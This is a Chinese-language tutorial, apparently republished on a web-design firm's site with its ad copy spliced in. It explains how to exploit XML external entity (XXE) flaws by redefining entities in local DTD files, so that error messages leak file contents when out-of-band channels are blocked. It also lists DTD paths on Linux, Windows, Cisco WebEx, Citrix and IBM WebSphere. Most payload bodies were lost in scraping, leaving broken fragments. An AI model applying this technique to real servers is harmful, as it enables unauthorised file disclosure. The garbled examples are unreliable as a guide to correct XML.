怎样使用本地DTD文件来利用XXE漏洞实现任意结果输出

怎样使用本地DTD文件来利用XXE漏洞实现任意结果输出,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

创新互联-专业网站定制、快速模板网站建设、高性价比龙游网站开发、企业建站全套包干低至880元,成熟完善的模板库,直接使用。一站式龙游网站制作公司更省心,省钱,快速模板网站建设找我们,业务覆盖龙游地区。费用合理售后完善,十载实体公司更值得信赖。

下面我要向大家分享一个小技巧,即使用本地DTD文件来利用XXE漏洞从而实现任意结果的输出。

怎样使用本地DTD文件来利用XXE漏洞实现任意结果输出

想象一下你有一个支持外部实体的XXE,但服务器的响应始终为空。在这种情况下,你有两种选择:基于错误和带外利用。

以下是基于错误的示例:

Request


%ext;
]>

 ext.dtd 中的内容


">
%eval;
%error;

看到了吗?你正在使用外部服务器进行payload的传递。如果你和目标服务器之间有防火墙,你可以做什么?答案是什么都做不了!

那么,如果我们将外部DTD文件的内容直接放到DOCTYPE标签内又会是什么结果?会一直出现一些错误。

Request


">%eval;
    %error;
]>

外部DTD允许我们在第二个实体中包含一个实体,但它在内部DTD中被禁止。

我们可以用内部DTD做些什么?

要想在内部DTD子集中使用外部DTD语法,你可以在目标主机上强制执行本地dtd文件,并在其中重新定义一些参数实体引用:

Request


">%eval;
        %error;
        %local_dtd;
]>
any text

sip-app_1_0.dtd 中的内容


它起作用是因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。

如何查找本地dtd文件?

通过枚举来查找文件和目录应该是最简单的方法了,以下是一些成功应用此技巧的例子:

Linux



%local_dtd;

Windows


Your DTD code
%local_dtd;

感谢来自Positive Technologies的@Mike_n1分享的这条始终存在的Windows DTD文件路径。

Cisco WebEx


Your DTD code
%local_dtd;

Citrix XenMobile Server


Your DTD code
%local_dtd;

多平台 IBM WebSphere 应用











%local_dtd;

关于怎样使用本地DTD文件来利用XXE漏洞实现任意结果输出问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注创新互联行业资讯频道了解更多相关知识。


文章标题:怎样使用本地DTD文件来利用XXE漏洞实现任意结果输出
路径分享:http://pwwzsj.com/article/ieejpo.html